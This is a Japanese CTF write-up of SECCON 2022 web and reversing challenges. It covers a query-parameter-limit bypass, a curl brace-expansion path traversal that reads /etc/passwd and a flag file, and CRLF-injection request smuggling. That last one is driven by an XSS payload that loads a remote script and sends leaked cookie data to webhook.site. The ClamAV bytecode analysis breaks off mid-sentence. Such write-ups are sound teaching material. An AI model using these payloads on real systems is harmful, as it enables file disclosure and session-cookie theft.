11/12 - 11/13という日程で開催された。昨年に引き続きkeymoonさんとのコンビで、_(-.- _) )_
*1*2というチームで参加し全体で22位、日本国内に限ると3位だった。今年度は2月に浅草橋で決勝大会が開催されるそうで、その枠が国際決勝と国内決勝で10チームずつ用意されているようなので、我々は国内決勝に参加できるということになる。やったー。
今回は(も?)私はWeb問を中心に取り組んでいたのだけれども、piyosay, denobox, spanoteといった高難易度帯の問題が解けず悔しい。終盤は半分諦めてDevil Hunter, DoroboHといったRev問に取り組んでいた。もうちょっと諦めが早ければあと1問解けたかもしれないなあと思いつつ。Web問は全問がArkさんによる作問で、どれも面白かった。
ほかのメンバーのwriteup:
関連リンク:
- [Web 100] skipinx (102 solves)
- [Web 124] easylfi (62 solves)
- [Web 149] bffcalc (41 solves)
- [Reversing 168] Devil Hunter (31 solves)
- (本番では解けず) [Reversing 179] DoroboH (27 solves)
[Web 100] skipinx (102 solves)
ALL YOU HAVE TO DO IS SKIP NGINX
添付ファイル: skipinx.tar.gz
ソースコードが添付されている。nginxの裏側でNode.jsのアプリが動いているような構成だった。nginxの設定ファイルである default.conf
は以下のような内容だった。至極単純で、ユーザから与えられたクエリパラメータに proxy=nginx
を付け加えた上で、後はそのまま裏のNode.jsのアプリに渡している。
server { listen 8080 default_server; server_name nginx; location / { set $args "${args}&proxy=nginx"; proxy_pass http://web:3000; } }
Node.jsのコードである index.js
は以下のような内容だった。クエリパラメータの proxy
に nginx
という文字列が含まれていない場合にフラグを出力してくれるらしい。
const app = require("express")(); const FLAG = process.env.FLAG ?? "SECCON{dummy}"; const PORT = 3000; app.get("/", (req, res) => { req.query.proxy.includes("nginx") ? res.status(400).send("Access here directly, not via nginx :(") : res.send(`Congratz! You got a flag: ${FLAG}`); }); app.listen({ port: PORT, host: "0.0.0.0" }, () => { console.log(`Server listening at ${PORT}`); });
これらを見て、次のようなことを考えて、試していた。
- めちゃくちゃ長いクエリパラメータにしたら、nginxが空気を読んでNode.jsに渡すときに
proxy=nginx
より前で切ってくれるかも- → 限界まで伸ばしたら414で怒られた
proxy=hoge
みたいに同名のパラメータを付け加えたら、いずれか一方だけを採用するのではconsole.log(req.query)
でパラメータを出力する処理を加えて検証した- デフォルトでは、Expressは
proxy=hoge&proxy=fuga
のように同名のパラメータがある場合には、{ proxy: ['hoge', 'fuga'] }
のように配列として扱うっぽい - → 文字列ではなくなったが、配列にも
Array.prototype.includes
はあるし、['hoge', 'nginx'].includes('nginx')
は当然trueなのでダメ
proxy[a]=hoge
やproxy[toString]=hoge
のようにreq.query.proxy
をオブジェクトにしてしまえばよいのでは- → オブジェクトには
includes
メソッドがないので、req.query.proxy.includes("nginx")
で例外が発生して終わり
- → オブジェクトには
proxy[1]=hoge
のようにすれば、要素が書き換えられるのでは- → 以下のように要素がぴょこぴょこ動くだけだった
$ curl -g --path-as-is "localhost:8080?proxy=a&proxy=b" { proxy: [ 'a', 'b', 'nginx' ] } $ curl -g --path-as-is "localhost:8080?proxy[1]=a&proxy=b" { proxy: [ 'b', 'a', 'nginx' ] } $ curl -g --path-as-is "localhost:8080?proxy[2]=a&proxy=b" { proxy: [ 'b', 'nginx', 'a' ] }
こういう試行錯誤を繰り返した。最終的に、proxy=a
を1000個くっつけた場合に変なことが起こった。
$ cat s.py import requests r = requests.get(f'http://skipinx.seccon.games:8080/?' + 'proxy=a&' * 1000) print(r.text) $ python3 s.py Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}
フラグが得られた。
SECCON{sometimes_deFault_options_are_useful_to_bypa55}
問題名を見てすきぴ…? と思ったけど全然違った。あまりに奇妙な挙動だったので、後からその理由を調べた。Expressでは、クエリパラメータのパースにデフォルトでは qs
というパッケージが使われている。qs
には parameterLimit
というオプションがあり、この値として設定されている個数を上限としてパラメータがパースされる。たとえば、parameterLimit
が3である場合に a=1&b=2&c=3&d=4
というクエリパラメータが渡されれば、最初の3個のパラメータである a
, b
, c
だけがパースされる。デフォルトでは parameterLimit
は1000なので、先程のソルバでは1001個目のパラメータとなる proxy=nginx
は無視されたということになる。
[Web 124] easylfi (62 solves)
Can you read my secret?
添付ファイル: easylfi.tar.gz
与えられたURLにアクセスすると、以下のように名前の入力を求められる。
適当に入力すると /hello.html?%7Bname%7D=(入力した名前)
に飛ばされ、以下のように描画される。
添付されているソースコードを確認していく。Dockerfile
には COPY flag.txt /
という処理があり、/flag.txt
をなんとかして読み取ることが目的であるとわかる。WebアプリはPython製で、処理は app.py
という以下の1ファイルにまとまっている。validate
と template
という2つの関数からなる自作のテンプレートエンジンが乗っかっているっぽい。/index.html
や /hello.html
にアクセスすると、public/(ファイル名)
からテンプレートを引っ張ってきて、クエリパラメータをもとにレンダリングするらしい。
from flask import Flask, request, Response import subprocess import os app = Flask(__name__) def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text @app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response @app.route("/") @app.route("/<path:filename>") def index(filename: str = "index.html"): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try: proc = subprocess.run( ["curl", f"file://{os.getcwd()}/public/{filename}"], capture_output=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0: return "Something wrong..." return template(proc.stdout.decode(), request.args)
レンダリングといっても処理は単純だ。パラメータのうち、{name}
のように {
から始まり }
で終わる(また、始めと終わり以外に {
と }
が含まれない)キーについて、テンプレートに対応する文字列が含まれていればそのパラメータの値に置換する。もしルールに違反する name
などのキーがパラメータに存在していれば、その時点で Invalid key
と言われて処理が中断される。
def validate(key: str) -> bool: # E.g. key == "{name}" -> True # key == "name" -> False if len(key) == 0: return False is_valid = True for i, c in enumerate(key): if i == 0: is_valid &= c == "{" elif i == len(key) - 1: is_valid &= c == "}" else: is_valid &= c != "{" and c != "}" return is_valid def template(text: str, params: dict[str, str]) -> str: # A very simple template engine for key, value in params.items(): if not validate(key): return f"Invalid key: {key}" text = text.replace(key, value) return text
ファイルを取得してくる処理は以下のようになっている。なぜか curl
が使われている。まず考えるのはPath Traversalで /flag.txt
を表示させることだが、残念ながら ..
や %
がリクエストしたファイル名に含まれる場合には弾かれてしまう。そもそも、レスポンスに SECCON
という文字列が含まれている場合には waf
によって弾かれてしまうので、/flag.txt
を curl
に取得させたところでもうひと頑張りする必要がある。
@app.after_request def waf(response: Response): if b"SECCON" in b"".join(response.response): return Response("Try harder") return response @app.route("/") @app.route("/<path:filename>") def index(filename: str = "index.html"): if ".." in filename or "%" in filename: return "Do not try path traversal :(" try: proc = subprocess.run( ["curl", f"file://{os.getcwd()}/public/{filename}"], capture_output=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout" if proc.returncode != 0: return "Something wrong..." return template(proc.stdout.decode(), request.args)
せめて public/
下以外のファイルを出力させられないかと考えたところで、ひとつ思いつく。curlは https://example.com/{a,b,c}
のようにブレースを使うと複数のファイルを表示させられるのではないか。試しに hello.html
を2回表示させようとしてみると、できた。
$ curl -g "http://easylfi.seccon.games:3000/{hello.html,hello.html}" --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html> --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html>
さらに、..
を {.}.
のように表現することで waf
をバイパスできるのではないかと考え試してみたところ、できた。
$ curl -g "http://easylfi.seccon.games:3000/{.}./{.}./{.}./etc/passwd" root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
もちろんこの脆弱性を使って /flag.txt
を取得させることもできるが、waf
によって阻まれてしまう。なんとかしてバイパスできないか。たとえば、フラグの SECCON
の部分を削除できないか。SECCON=hoge
のようなパラメータを与えれば SECCON
を hoge
に置換できるのではないかと考えたが、validate
によってキーが {
から始まり }
で終わっているかチェックされているので、残念ながらできない。
validate
がわざわざ enumerate
でぶん回すという妙な実装になっているのが気になって色々試していると、validate('{')
の返り値がTrueであることに気づいた。なるほど、validate
は文字数のチェックをしていないし、i == len(key) - 1
のチェックも elif
の部分なので、すでに最初の if i == 0
のチェックを通っている以上なされないのか。
この挙動を使えば、{=}
のようなクエリパラメータを与えてフラグを表示させようとすると、SECCON}…}
のように置換されるはず。別の {
の後に }
が出現しないファイルをその前に出力させた上で、{…SECCON}
を別の文字列に置換させることで waf
をバイパスできそうだ。そのようなファイルを探すPythonスクリプトを書く。
import glob import os.path fns = glob.glob('/usr/**', recursive=True) for fn in fns: if 'proc' in fn: continue if not os.path.isfile(fn): continue with open(fn, 'rb') as f: s = f.read() try: s.decode('utf-8') i = s.rindex(b'{') if b'}' not in s[i:]: print(len(s[i:]), fn) except: pass
手元の問題環境でそのコードを実行する。いくつか見つかった。/usr/include/rpcsvc/nis.x
が {
より後にある文字の数が少ないので、これを使うことにする。
$ python3 s.py 17 /usr/include/rpcsvc/nis.x 3479 /usr/lib/x86_64-linux-gnu/perl/5.32/Compress/Raw/Zlib.pm 3479 /usr/lib/x86_64-linux-gnu/perl/5.32.1/Compress/Raw/Zlib.pm 10999 /usr/lib/python3.9/logging/__init__.py 1429 /usr/lib/python3.9/json/scanner.py 444 /usr/share/doc/unzip/BUGS 825 /usr/share/doc/mercurial/examples/vim/hg-menu.vim 825 /usr/share/doc/mercurial-common/examples/vim/hg-menu.vim 1196346 /usr/share/mime/packages/freedesktop.org.xml 3109 /usr/local/include/python3.10/Python.h 11208 /usr/local/lib/python3.10/logging/__init__.py 1429 /usr/local/lib/python3.10/json/scanner.py 504 /usr/local/lib/python3.10/site-packages/setuptools/logging.py
気をつけてペイロードを組み立てると、フラグが得られた。
$ curl --output - -g --path-as-is "http://easylfi.seccon.games:3000/{.}./{.}./{/usr/include/rpcsvc/nis.x,flag.txt}?{=}{&{%0a%25%23endif%0a%23endif%0a--_curl_--file:///app/public/../../flag.txt%0aSECCON}=SECCOn" ... %#ifndef __nis_3_h %#define __nis_3_h %#ifdef __cplusplus %extern "C" }SECCOn{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
validate('{')
の返り値がTrueであることに気づくまでに時間がかかった。めちゃくちゃ面白いパズル問だった。よくこんな問題思いつくなあ。
[Web 149] bffcalc (41 solves)
There is a simple calculator!
添付ファイル: bffcalc.tar.gz
Please confirm that you can get a dummy flag on your local server before you try your attack on the remote server.
Note: The services restart every 10 minutes.
与えた計算式を計算してくれる便利なWebアプリ。右下のReportボタンを押すことで、計算式をadminと共有することもできるようだ。
adminにreportできるという点でXSS問っぽい。実はXSSは簡単にできて、<img src=x onerror=alert(123)>
のような「計算式」を投げるとJSコードが実行できる。CSPなどはない。問題はフラグの保存のされ方で、添付されているソースコードにあるXSS botのコードを確認してみると、なんとフラグが含まれるCookieがhttpOnlyであることがわかる。これではXSSだけではフラグが手に入れられない。どうしろというのか。
await page.setCookie({ name: "flag", value: FLAG, domain: APP_HOST, path: "/", httpOnly: true, });
ソースコードをじっくり確認していく。この問題は不思議な構成で、nginx → bff
→ backend
のように3つのサーバからなっている。nginxから見ていく。nginxの設定ファイルは以下のような内容で、単なるリバースプロキシで特に問題があるようには見えない。次。
server { listen 3000 default_server; server_name nginx; # ref. https://www.fastify.io/docs/latest/Guides/Recommendations/#nginx proxy_http_version 1.1; proxy_cache_bypass $http_upgrade; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; location = /report { proxy_pass http://report:3000; } location / { proxy_pass http://bff:3000; } }
bff
は以下のPythonコードで動いている。これもリバースプロキシではあるが、わざわざHTTPリクエストを組み立てて backend
に投げている。HTTP Request Smugglingでもするのだろうかと思う。次。
import cherrypy import time import socket def proxy(req) -> str: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("backend", 3000)) sock.settimeout(1) payload = "" method = req.method path = req.path_info if req.query_string: path += "?" + req.query_string payload += f"{method} {path} HTTP/1.1\r\n" for k, v in req.headers.items(): payload += f"{k}: {v}\r\n" payload += "\r\n" sock.send(payload.encode()) time.sleep(.3) try: data = sock.recv(4096) body = data.split(b"\r\n\r\n", 1)[1].decode() except (IndexError, TimeoutError) as e: print(e) body = str(e) return body class Root(object): indexHtml = open("index.html").read() @cherrypy.expose def index(self): return self.indexHtml @cherrypy.expose def default(self, *args, **kwargs): return proxy(cherrypy.request) cherrypy.config.update({"engine.autoreload.on": False}) cherrypy.server.unsubscribe() cherrypy.engine.start() app = cherrypy.tree.mount(Root())
backend
は以下のPythonコードで動いている。expr
というパラメータで与えられた計算式について、50文字未満かつ 0123456789+-*/
という許可された文字種のみから構成されている場合にのみ、それを eval
して計算する。Cookieはこの backend
まで届くはずなので、なんとかして悪いコードを実行させて eval
に吐き出させられないだろうかと一瞬考えた。だが、さすがに使える文字種がこれだけだと何も悪いことはできない。
import cherrypy class Root(object): ALLOWED_CHARS = "0123456789+-*/ " @cherrypy.expose def default(self, *args, **kwargs): expr = str(kwargs.get("expr", 42)) if len(expr) < 50 and all(c in self.ALLOWED_CHARS for c in expr): return str(eval(expr)) return expr cherrypy.config.update({"engine.autoreload.on": False}) cherrypy.server.unsubscribe() cherrypy.engine.start() app = cherrypy.tree.mount(Root())
eval
中でエラーを発生させたら、デバッグメッセージとしてCookieが出力されないだろうかとも考えた。だが、1/0
を計算させても以下のようにスタックトレースなどが出力されるだけで、Cookieは出力されなかった。
そういうわけで、backend
ではこれ以上何もできないだろうし、bff
が一番怪しく見える。
bff
ではパスやヘッダなどをもとにHTTPリクエストを組み立てていたが、どこかでCRLF Injection(というのはこのようなシチュエーションでも言えるのだろうか)ができないだろうか。HTTPリクエストが組み立てられている処理で使われているユーザからのパラメータは以下の通り。
- メソッド名:
req.method
- パス:
req.path_info
- クエリパラメータ:
req.query_string
- ヘッダ:
req.headers
bff
の処理に print(payload)
を挿入して、組み立てたHTTPリクエストが出力されるようにする。参照されていたユーザからのパラメータについてそれぞれいじっていたところ、fetch('/api/a%0d%0a%0d%0a')
とパスにCRLFを挿入した際に妙な挙動をした。パスがデコードされた上でHTTPリクエストに展開されており、ここでCRLF Injectionが起こっている。
/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0a%0d%0aGET /%3fexpr=b
のようにすると、以下のように2つのHTTPリクエストが含まれているようにみえるHTTPリクエストが組み立てられていることがわかる。
HTTPレスポンスを確認すると、以下のように2つ分のHTTPレスポンスが返ってきていた。これを使って、たとえばHTTPリクエストに Content-Type: application/x-www-form-urlencoded
を含ませた上で Content-Length
で調整しつつ、Cookie
ヘッダの部分をHTTPリクエストボディなどとして扱わせることができるのではないか。
aHTTP/1.1 200 OK Content-Length: 1 Content-Type: text/html;charset=utf-8 Date: Sun, 13 Nov 2022 23:43:28 GMT Server: CherryPy/18.8.0 Via: waitress b
そんな感じで色々試していたところ、/ HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: 102%0d%0a%0d%0a
のように Content-Length
を中途半端な値にした場合に以下のようなHTTPレスポンスが返ってきているのが確認できた。ちょうど X-Real-Ip
ヘッダの部分がHTTPリクエストラインとして解釈されるようになり、X-Real-Ip
がメソッド名としておかしいためにこのようなエラーが発生したようだ。これを使ってフラグをリークさせられないか。
42HTTP/1.0 400 Bad Request Connection: close Content-Length: 76 Content-Type: text/plain; charset=utf-8 Date: Sun, 13 Nov 2022 23:48:30 GMT Server: waitress Bad Request Malformed HTTP method "X-Real-Ip:" (generated by waitress)
以下のようなスクリプトを自分のWebサーバでホストする。そして、<img src=x onerror="import('http://(略)/xxx.php')">
という「計算式」をreportする。
<?php header('Content-type: application/javascript'); header('Access-Control-Allow-Origin: *'); ?> (async () => { document.cookie = 'a=b'; for (let i = 350; i < 500; i += 10) { const r = await (await fetch(`/%3fexpr=a HTTP/1.1%0d%0aHost: localhost%0d%0aContent-Length: ${i}%0d%0a%0d%0a`)).text(); if (r.includes('Malformed HTTP method')) { navigator.sendBeacon('http://webhook.site/(略)', JSON.stringify([i, r])); } } })();
しばらく待つと、以下のようにフラグの含まれるHTTPリクエストが飛んできた。
SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}
これもとても面白かった。よくこんな問題思いつくなあ。
[Reversing 168] Devil Hunter (31 solves)
Clam Devil; Asari no Akuma
添付ファイル: devil_hunter.tar.gz
問題の概要
添付ファイルを展開すると check.sh
と flag.cbc
というファイルが出てくる。check.sh
は以下のような内容だった。clamscan
というClamAVのファイルのスキャンができるツールを使って、与えたファイルがフラグかどうかチェックしてくれるスクリプトのようだ。-dflag.cbc
と、なにやら flag.cbc
を指定するオプションが付いている。
#!/bin/sh if [ -z "$1" ] then echo "[+] ${0} <flag.txt>" exit 1 else clamscan --bytecode-unsigned=yes --quiet -dflag.cbc "$1" if [ $? -eq 1 ] then echo "Correct!" else echo "Wrong..." fi fi
clamscan
のヘルプを見ると、これは flag.cbc
を "virus database" とするオプションであるとわかる。どういうことか。
$ clamscan --help … --database=FILE/DIR -d FILE/DIR Load virus database from FILE or load all supported db files from DIR …
flag.cbc
は以下のような内容だった。すべての文字がASCII範囲内であり、一部に Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b
のように意味のある文字列が含まれているものの、全体としてはよくわからない。
最初の ClamBC
という6バイトがマジックナンバーではないかと思いググってみたところ、clambc
というツールの説明がいくつかヒットした。どうやらこのファイルはbytecode signatureというものらしい。
$ xxd flag.cbc 00000000: 436c 616d 4243 6166 6861 696f 606c 6663 ClamBCafhaio`lfc 00000010: 667c 6161 6060 6063 6060 6160 6060 7c61 f|aa```c``a```|a 00000020: 6860 636e 6261 6360 6365 636e 6260 6360 h`cnbac`cecnb`c` 00000030: 6062 6561 6163 7060 636c 616d 636f 696e `beaacp`clamcoin 00000040: 6369 6465 6e63 656a 623a 3430 3936 0a53 cidencejb:4096.S 00000050: 6563 636f 6e2e 5265 7665 7273 696e 672e eccon.Reversing. 00000060: 7b46 4c41 477d 3b45 6e67 696e 653a 3536 {FLAG};Engine:56 00000070: 2d32 3535 2c54 6172 6765 743a 303b 303b -255,Target:0;0; 00000080: 303a 3533 3435 3433 3433 3466 3465 3762 0:534543434f4e7b 00000090: 0a54 6564 6461 6161 6864 6162 6168 6461 .Teddaaahdabahda …
clambc
はbytecode signatureのテストや解析に使えるツールだそうだが、このバイトコードを読める形に変換してくれるだろうか。試しにヘルプで "Print bytecode source" と説明されていた --printsrc
オプションを投げてみたが、なにやら細工がされているようで以下のようなメッセージが表示されてしまった。
$ clambc -p flag.cbc not so easy :P
"Print IR of bytecode signature" と説明されていた --printbcir
オプションでは、ちゃんとバイトコードを読める形で出力してくれた。これを読んでいきたい。F.0
, F.1
, F.2
の3つの関数が存在しているが、F.0
が F.1
を呼び出し、さらに F.1
が F.2
を呼び出すという関係があるので、おそらく F.0
がエントリーポイントだろう。ここから読んでいく。
$ clambc --printbcir flag.cbc found 21 extra types of 85 total, starting at tid 69 TID KIND INTERNAL ------------------------------------------------------------------------ … ######################################################################## ####################### Function id 0 ################################ ######################################################################## found a total of 4 globals GID ID VALUE ------------------------------------------------------------------------ 0 [ 0]: i0 unknown 1 [ 1]: [22 x i8] unknown 2 [ 2]: i8* unknown 3 [ 3]: i8* unknown ------------------------------------------------------------------------ found 2 values with 0 arguments and 2 locals VID ID VALUE ------------------------------------------------------------------------ 0 [ 0]: i1 1 [ 1]: i32 ------------------------------------------------------------------------ found a total of 2 constants CID ID VALUE ------------------------------------------------------------------------ 0 [ 2]: 21(0x15) 1 [ 3]: 0(0x0) ------------------------------------------------------------------------ found a total of 4 total values ------------------------------------------------------------------------ FUNCTION ID: F.0 -> NUMINSTS 5 BB IDX OPCODE [ID /IID/MOD] INST ------------------------------------------------------------------------ 0 0 OP_BC_CALL_DIRECT [32 /160/ 0] 0 = call F.1 () 0 1 OP_BC_BRANCH [17 / 85/ 0] br 0 ? bb.1 : bb.2 1 2 OP_BC_CALL_API [33 /168/ 3] 1 = setvirusname[4] (p.-2147483645, 2) 1 3 OP_BC_JMP [18 / 90/ 0] jmp bb.2 2 4 OP_BC_RET [19 / 98/ 3] ret 3 ------------------------------------------------------------------------ …
バイトコードを読む
読んでいくと言っても、このバイトコードについてググってもほとんど情報が見つからない。仕方がないので、ClamAVに含まれるVMのソースコードなども参考にしつつ、出力された情報がそれぞれどんな意味を持っているか確認していく。
まず各関数の最初に出力されている、変数と定数について確認する。上から4つはグローバル変数で、残りの2つの関数でも同じものが出力されている。続いてローカル変数とこの関数で使われている定数が出力されているが、ローカル変数と定数とで関係なく通しの番号(ID)が振られている。型は i1
, i32
, [22 x i8]
といったような表記でLLVMっぽい。
found a total of 4 globals GID ID VALUE ------------------------------------------------------------------------ 0 [ 0]: i0 unknown 1 [ 1]: [22 x i8] unknown 2 [ 2]: i8* unknown 3 [ 3]: i8* unknown ------------------------------------------------------------------------ found 2 values with 0 arguments and 2 locals VID ID VALUE ------------------------------------------------------------------------ 0 [ 0]: i1 1 [ 1]: i32 ------------------------------------------------------------------------ found a total of 2 constants CID ID VALUE ------------------------------------------------------------------------ 0 [ 2]: 21(0x15) 1 [ 3]: 0(0x0) ------------------------------------------------------------------------ found a total of 4 total values
関数の本体を見ていく。各命令やオペランドの意味は、命令の名前やINSTに表示されている説明を見るとなんとなくわかる。ときどきわからないものも出てくるけれども、VMのソースコードとかを確認すればよい。
各命令にはIDXとインデックスが振られているほか、別にBBという番号も振られている。これは OP_BC_JMP
や OP_BC_BRANCH
といったジャンプする命令で使われる番号で、たとえば jmp bb.2
ではBBが2である最初の命令にジャンプするし、br 0 ? bb.1 : bb.2
ではIDが0のローカル変数・定数の値によって、bb.1
か bb.2
のいずれかのブランチにジャンプする。
命令中では、ローカル変数や定数は先程説明したIDによって参照される。たとえば、IDXが0の命令である 0 = call F.1 ()
では、F.1
という関数を呼び出して、その返り値をIDが0であるローカル変数に格納する。別の関数にある命令だが、37 = 130 * 131
はIDがそれぞれ130, 131であるローカル変数もしくは定数をかけ合わせた上で、IDが37であるローカル変数に格納する。19 = read[1] (p.3, 117)
という命令のように、IDの前に p.
というプレフィクスが付いた場合には、そのローカル変数をポインタとして扱うことを意味する。おそらく。
これらのことを踏まえてこの関数を読んでいく。F.1
を呼び出して、その返り値がtrueであれば bb.1
に、falseであれば bb.2
にジャンプしている。OP_BC_CALL_API
というのは read
, write
, setvirusname
といったAPIを呼び出せる命令で、いわばシステムコールのようなもの。どんなAPIがあるかは、bytecode_api.h
で確認できる。今回 bb.1
で呼び出されているのは setvirusname
で、発見されたウイルスの名前を設定するらしい。この挙動の差異で clamscan
の終了コードを変えるのだろう。
FUNCTION ID: F.0 -> NUMINSTS 5 BB IDX OPCODE [ID /IID/MOD] INST ------------------------------------------------------------------------ 0 0 OP_BC_CALL_DIRECT [32 /160/ 0] 0 = call F.1 () 0 1 OP_BC_BRANCH [17 / 85/ 0] br 0 ? bb.1 : bb.2 1 2 OP_BC_CALL_API [33 /168/ 3] 1 = setvirusname[4] (p.-2147483645, 2) 1 3 OP_BC_JMP [18 / 90/ 0] jmp bb.2 2 4 OP_BC_RET [19 / 98/ 3] ret 3
次は F.1
を読んでいきたいが、ちょっと長いのでかいつまんで説明する。いくつか聞き慣れない命令があるので確認すると、
OP_BC_ICMP_ULT
: Internet Control Message Protocolとは関係ない。ICMP
はintegerのcompare、ULT
はunsignedとしてのless thanを意味するっぽいOP_BC_GEPZ
: GEPはGetElementPtr
を意味するっぽい。x86のLEA
みたいなもんかなOP_BC_SEXT
: signedなextensionっぽい
といった感じだった。だいたいLLVMの命令セットにもとづいていそうなので、困ったらLLVMのマニュアルを参照すればよさそう。
この関数がどんな挙動をするか確認する。最初の bb.0
でまず seek(7, 0)
しているが、これは seek
の実装も確認すると、与えられたファイルの頭7バイトを読み飛ばしていることがわかる。与えられているファイルは flag.txt
なので、SECCON{
の部分を読み飛ばしているのだろう。
FUNCTION ID: F.1 -> NUMINSTS 115 BB IDX OPCODE [ID /IID/MOD] INST ------------------------------------------------------------------------ 0 0 OP_BC_GEPZ [36 /184/ 4] 5 = gepz p.4 + (104) 0 1 OP_BC_GEPZ [36 /184/ 4] 7 = gepz p.6 + (105) 0 2 OP_BC_CALL_API [33 /168/ 3] 8 = seek[3] (106, 107) 0 3 OP_BC_COPY [34 /174/ 4] cp 108 -> 2 0 4 OP_BC_JMP [18 / 90/ 0] jmp bb.2
1文字ずつ read
してるっぽい処理。IDX 5の 9 = (18 < 109)
で参照されているID 18は何文字読み込んだかというループカウンタ、ID 109は36という定数で、要は36文字読み込むまで read
し続けている。read
の第一引数は読み込み先のアドレスを、第二引数は読み込むバイト数を意味している。読み込み先はID 4のローカル変数(型は alloc [36 x i8]
)だ。
IDX 15の 17 = (16 < 114)
とIDX 18の br 17 ? bb.7 : bb.1
について、ID 16は read
の返り値、つまり読み込んだバイト数で、ID 114は1という定数であるから、もしファイルからの読み込みができなければ(SECCON{
以降に36文字なければ) bb.7
にジャンプするという処理をしていることになる。
1 5 OP_BC_ICMP_ULT [25 /129/ 4] 9 = (18 < 109) 1 6 OP_BC_COPY [34 /174/ 4] cp 18 -> 2 1 7 OP_BC_BRANCH [17 / 85/ 0] br 9 ? bb.2 : bb.3 2 8 OP_BC_COPY [34 /174/ 4] cp 2 -> 10 2 9 OP_BC_SHL [8 / 44/ 4] 11 = 10 << 110 2 10 OP_BC_ASHR [10 / 54/ 4] 12 = 11 >> 111 2 11 OP_BC_TRUNC [14 / 73/ 3] 13 = 12 trunc ffffffffffffffff 2 12 OP_BC_GEPZ [36 /184/ 4] 14 = gepz p.4 + (112) 2 13 OP_BC_GEP1 [35 /179/ 4] 15 = gep1 p.14 + (13 * 65) 2 14 OP_BC_CALL_API [33 /168/ 3] 16 = read[1] (p.15, 113) 2 15 OP_BC_ICMP_SLT [30 /153/ 3] 17 = (16 < 114) 2 16 OP_BC_ADD [1 / 9/ 0] 18 = 10 + 115 2 17 OP_BC_COPY [34 /174/ 4] cp 116 -> 0 2 18 OP_BC_BRANCH [17 / 85/ 0] br 17 ? bb.7 : bb.1
bb.7
は以下のようにID 0のローカル変数を返り値に関数を終了している処理になっている。ここまででこのローカル変数は一切触られていないが、何が入っているのだろう。0かな。
7 112 OP_BC_COPY [34 /174/ 4] cp 0 -> 102 7 113 OP_BC_TRUNC [14 / 70/ 0] 103 = 102 trunc ffffffffffffffff 7 114 OP_BC_RET [19 / 95/ 0] ret 103
bb.1
, bb.2
の読み込み処理がいい感じに終わると bb.3
に飛ぶ。もう1文字 read
して、IDX 22の 22 = (21 == 119)
でID 119の定数と比較している。その値は125で、ASCIIに直すと }
だ。それでフラグが終わりかチェックしているらしい。もしそうなら bb.4
に、そうでなければ bb.7
に飛んでいる。
3 19 OP_BC_CALL_API [33 /168/ 3] 19 = read[1] (p.3, 117) 3 20 OP_BC_ICMP_SGT [27 /138/ 3] 20 = (19 > 118) 3 21 OP_BC_COPY [34 /171/ 1] cp 3 -> 21 3 22 OP_BC_ICMP_EQ [21 /106/ 1] 22 = (21 == 119) 3 23 OP_BC_AND [11 / 55/ 0] 23 = 20 & 22 3 24 OP_BC_COPY [34 /174/ 4] cp 120 -> 0 3 25 OP_BC_BRANCH [17 / 85/ 0] br 23 ? bb.4 : bb.7
bb.4
ではまた read
している。IDX 27の 25 = (24 > 122)
で参照されているID 122の定数は0で、要は }
より後に何もないかチェックしているようだ。もし何かあれば bb.7
に、何もなければ bb.5
に飛ぶ。
4 26 OP_BC_CALL_API [33 /168/ 3] 24 = read[1] (p.3, 121) 4 27 OP_BC_ICMP_SGT [27 /138/ 3] 25 = (24 > 122) 4 28 OP_BC_COPY [34 /174/ 4] cp 123 -> 1 4 29 OP_BC_COPY [34 /174/ 4] cp 124 -> 0 4 30 OP_BC_BRANCH [17 / 85/ 0] br 25 ? bb.7 : bb.5
先程読み込んだフラグについてなにやら処理をしている。IDX 37の load 32 <- p.31
で4バイト分読み込み(ID 32のローカル変数の型がi32であることからわかる)、それを引数として F.2
という関数を呼び出している。そして、その返り値をIDX 46の store 33 -> p.40
